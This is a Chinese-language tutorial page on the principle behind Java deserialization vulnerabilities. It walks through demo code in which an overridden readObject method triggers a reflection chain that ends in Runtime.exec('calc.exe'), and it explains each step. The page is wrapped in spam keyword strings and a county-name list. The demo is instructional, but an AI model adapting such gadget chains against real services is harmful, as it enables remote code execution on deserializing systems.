亚洲激情专区-91九色丨porny丨老师-久久久久久久女国产乱让韩-国产精品午夜小视频观看

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

java反序列化原理-Demo(二)

發布時間:2020-08-27 18:23:34 來源:網絡 閱讀:666 作者:wx5b0b88843cb2a 欄目:安全技術

java反序列化原理-Demo(二)

0x00 測試代碼以及運行結果

測試代碼:

package test;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;

public class ReflectionPlay implements Serializable{

      public static void main(String[] args) throws Exception {
          new ReflectionPlay().run();
      }

      public void run() throws Exception {
          byte[] ObjectBytes=serialize(getObject());
          deserialize(ObjectBytes);
      }

      //在此方法中返回惡意對象
      public Object getObject() {
          String command = "calc.exe";
          Object firstObject = Runtime.class;
          ReflectionObject[] reflectionChains = {
                  /*
                   *            Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime",
                    new Class[] {}).invoke(null);

             Class.forName("java.lang.Runtime")
             .getMethod("exec", String.class)
             .invoke(runtime,"calc.exe");
                   * 
                   * */

                  //調用 Runtime.class 的getMethod方法,尋找 getRuntime方法,得到一個Method對象(getRuntime方法)
                  //等同于 Runtime.class.getMethod("getRuntime",new Class[]{String.class,Class[].class})
                  new ReflectionObject("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                  //調用 Method 的 invoker 方法可以得到一個Runtime對象
                  // 等同于 method.invoke(null),靜態方法不用傳入對象
                  new ReflectionObject("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                  //調用RunTime對象的exec方法,并將 command作為參數執行命令
                  new ReflectionObject("exec", new Class[]{String.class}, new Object[]{command})
          };

          return new ReadObject(new ReflectionChains(firstObject, reflectionChains));
      }

      /*
       * 序列化對象到byte數組
       * */
      public byte[] serialize(final Object obj) throws IOException {
          ByteArrayOutputStream out = new ByteArrayOutputStream();
          ObjectOutputStream objOut = new ObjectOutputStream(out);
          objOut.writeObject(obj);
          return out.toByteArray();
      }

      /*
       * 從byte數組中反序列化對象
       * */
      public Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
          ByteArrayInputStream in = new ByteArrayInputStream(serialized);
          ObjectInputStream objIn = new ObjectInputStream(in);
          return objIn.readObject();
      }

      /*
      * 一個模擬擁有漏洞的類,主要提供的功能是根據自己的屬性中的值來進行反射調用
      * */
      class ReflectionObject implements Serializable{
          private String methodName;
          private Class[] paramTypes;
          private Object[] args;

          public ReflectionObject(String methodName, Class[] paramTypes, Object[] args) {
              this.methodName = methodName;
              this.paramTypes = paramTypes;
              this.args = args;
          }

          //根據  methodName, paramTypes 來尋找對象的方法,利用 args作為參數進行調用
          public Object transform(Object input) throws Exception {
              Class inputClass = input.getClass();
              return inputClass.getMethod(methodName, paramTypes).invoke(input, args);
          }
      }

      /*
      * 一個用來模擬提供惡意代碼的類,
      * 主要的功能是將 ReflectionObject進行串聯調用,與ReflectionObject一起構成漏洞代碼的一部分
      * */
      class ReflectionChains implements Serializable{

          private Object firstObject;
          private ReflectionObject[] reflectionObjects;

          public ReflectionChains(Object firstObject, ReflectionObject[] reflectionObjects) {//ReflectionChains構造方法
              this.firstObject = firstObject;
              this.reflectionObjects = reflectionObjects;
          }

          public Object execute() throws Exception {
              Object concurrentObject = firstObject;
              for (ReflectionObject reflectionObject : reflectionObjects) {
                  concurrentObject = reflectionObject.transform(concurrentObject);
                  System.out.println(concurrentObject);
              }
              return concurrentObject;
          }
      }

      /**
       * 一個等待序列化的類,擁有一個屬性和一個重寫了的readObject方法
       * 并且在readObject方法中執行了該屬性的一個方法
       * */
      class ReadObject implements Serializable {

          private ReflectionChains reflectionChains;

          public ReadObject(ReflectionChains reflectionChains) {
              this.reflectionChains = reflectionChains;
          }
          //當反序列化的時候,這個代碼會被調用
          //該方法被調用的時候其屬性都是空
          private void readObject(java.io.ObjectInputStream stream)
                  throws IOException, ClassNotFoundException {
              try {
                  //用來模擬當readObject的時候,對自身的屬性進行了一些額外的操作
                  reflectionChains= (ReflectionChains) stream.readFields().get("reflectionChains",null);
                  reflectionChains.execute();
              } catch (Exception e) {
                  e.printStackTrace();
              }
          }
      }
    }

運行結果:
java反序列化原理-Demo(二)

0x01 測試代碼分析

涉及到的類:

類名 是否繼承 Serializable 方法名
ReflectionObject 繼承 transform
ReflectionChains 繼承 execute
ReadObject 繼承 readObject(重寫)

注:要想產生反序列漏洞,需要重寫readObjec方法

代碼流程:

  1. serialize(getObject());將一個對象序列化
  2. getObject(); 生成一個ReflectionObject數組,包含三個ReflectionObject對象;然后使用ReflectionObject數組生成一個ReflectionChains對象,繼續使用ReflectionChains對象生成一個ReadObject對象

    new ReflectionObject("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                  //調用 Method 的 invoker 方法可以得到一個Runtime對象
                  // 等同于 method.invoke(null),靜態方法不用傳入對象
    new ReflectionObject("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                  //調用RunTime對象的exec方法,并將 command作為參數執行命令
    new ReflectionObject("exec", new Class[]{String.class}, new Object[]{command})
    };
    
          return new ReadObject(new ReflectionChains(firstObject, reflectionChains));
  3. deserialize(ObjectBytes);將序列化后的字節反序列化
    將傳入的字節進行反序列化,因為傳入的字節是一個ReadObjec對象序列化后的,因此在反序列化時需要調用ReadObjec的readObjec方法(該方法已經被重寫)
    private void readObject(java.io.ObjectInputStream stream)
                  throws IOException, ClassNotFoundException {
              try {
                  //用來模擬當readObject的時候,對自身的屬性進行了一些額外的操作
                  reflectionChains= (ReflectionChains) stream.readFields().get("reflectionChains",null);
                  reflectionChains.execute();
              } catch (Exception e) {
                  e.printStackTrace();
              }
          }

    在這里我們需要注重看java反序列化原理-Demo(二)
    在生成ReadObject對象時傳入的參數是ReflectionChains對象,所以這里調用的execute()方法就是ReflectionChains的execute()方法。
    接著分析ReflectionChains的execute()方法:

    public Object execute() throws Exception {
              Object concurrentObject = firstObject;
              for (ReflectionObject reflectionObject : reflectionObjects) {
                  concurrentObject = reflectionObject.transform(concurrentObject);
                  System.out.println(concurrentObject);
              }
              return concurrentObject;
          }

    關鍵代碼:
    java反序列化原理-Demo(二)
    由上面可知生成ReflectionChains對象時傳入的參數是ReflectionObject數組,這段代碼的含義便是:遍歷ReflectionObject數組,每一個元素(ReflectionObject)執行transform方法
    繼續分析ReflectionObject的transform方法:

    public Object transform(Object input) throws Exception {
              Class inputClass = input.getClass();  得到input對象是那個類的類名
              return inputClass.getMethod(methodName, paramTypes).invoke(input, args);   通過類名調用該類的某一方法
          }

    java反序列化原理-Demo(二)
    注意:
    通過以上分析可以了解到,進行反序列化的反射鏈為:
    deserialize(ObjectBytes); 調用ReadObject類的readObject方法;接下來調用ReflectionChains類的execute方法;接下來通過遍歷ReflectionObject數組調用ReflectionObject類的transform方法

0x02 核心分析

通過以上代碼分析看,最終需要執行的便是以下代碼:

 new ReflectionObject("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                  //調用 Method 的 invoker 方法可以得到一個Runtime對象
                  // 等同于 method.invoke(null),靜態方法不用傳入對象
new ReflectionObject("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                  //調用RunTime對象的exec方法,并將 command作為參數執行命令
 new ReflectionObject("exec", new Class[]{String.class}, new Object[]{command})
new ReflectionObject("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),    
等同于執行了:Runtime.class.getMethod("getRuntime",new Class[]{String.class,Class[].class})
new ReflectionObject("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
等同于執行了:method.invoke(null),靜態方法不用傳入對象
new ReflectionObject("exec", new Class[]{String.class}, new Object[]{command})
RunTime對象的exec方法,并將 command作為參數執行命令

第一個對象執行完成:
Runtime.class.getMethod("getRuntime", new Class[0]);
輸出的結果:java.lang.Runtime.getRuntime() 輸出的是一個類
第二個對象執行完成:
Runtime.class.getMethod("getRuntime", new Class[0]).invoke(null, new Object[0]);
輸出結果:java.lang.Runtime@74a14482 輸出的是一個Runtime的對象
第二個對象執行完成:
Runtime t = (Runtime) Runtime.class.getMethod("getRuntime", new Class[0]).invoke(null, new Object[0]);
t.exec("calc.exe")

0x03補充

package test;

import java.lang.reflect.InvocationTargetException;

public class test5 {
    public static void main(String[] args) throws IllegalAccessException, IllegalArgumentException, InvocationTargetException, NoSuchMethodException, SecurityException {
        //Class inputClass = input.getClass();
        //inputClass.getMethod(methodName, paramTypes).invoke(input, args)
        //new ReflectionObject("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]})

        Class  inputClass1 = Runtime.class.getClass();
        Object concurrentObject1 =  inputClass1.getMethod("getMethod",new Class[]{String.class, Class[].class}).invoke(Runtime.class, new Object[]{"getRuntime", new Class[0]});
        System.out.println(inputClass1.getMethod("getMethod",new Class[]{String.class, Class[].class}).invoke(Runtime.class, new Object[]{"getRuntime", new Class[0]}));
        //public static java.lang.Runtime java.lang.Runtime.getRuntime()

        //new ReflectionObject("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]})
        Class  inputClass2 =  concurrentObject1.getClass();
        Object concurrentObject2 =  inputClass2.getMethod("invoke",new Class[]{Object.class, Object[].class}).invoke(concurrentObject1, new Object[]{null, new Object[0]});
        System.out.println(concurrentObject2);
        //java.lang.Runtime@3d4eac69

        //new ReflectionObject("exec", new Class[]{String.class}, new Object[]{command})
        Class  inputClass3 =  concurrentObject2.getClass();
        Object concurrentObject3 =  inputClass3.getMethod("exec",new Class[]{String.class}).invoke(concurrentObject2,new Object[]{"calc.exe"});
        System.out.println(concurrentObject3);

        /*
         * 對比user類:
         * inputClass.getMethod(methodName, paramTypes).invoke(input, args)
         * 對參數說明:
         * inputClass   user.getClass()
         * methodName 調用的方法名稱
         * paramTypes    調用方法的參數類型
         * input    是  inputClass的一個對象  
         * args  調用方法的參數
         * 
         * 函數返回結果:
         * input對象調用methodName的方法(傳入的參數是args)返回的結果:比如  void setName(String name){} 返回的是null
         * */

    }
}

參考鏈接:http://www.freebuf.com/vuls/170344.html

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

芦溪县| 清水县| 大余县| 贡觉县| 那坡县| 宁明县| 新巴尔虎右旗| 景德镇市| 东阳市| 福泉市| 苏尼特左旗| 通渭县| 淳安县| 南木林县| 阜阳市| 小金县| 垣曲县| 诸暨市| 广州市| 横山县| 卓尼县| 喀什市| 大连市| 镇赉县| 宁海县| 平罗县| 六盘水市| 镇原县| 湖南省| 泗阳县| 顺平县| 简阳市| 漳浦县| 合水县| 新郑市| 石嘴山市| 盐边县| 朝阳区| 宜春市| 香河县| 磐安县|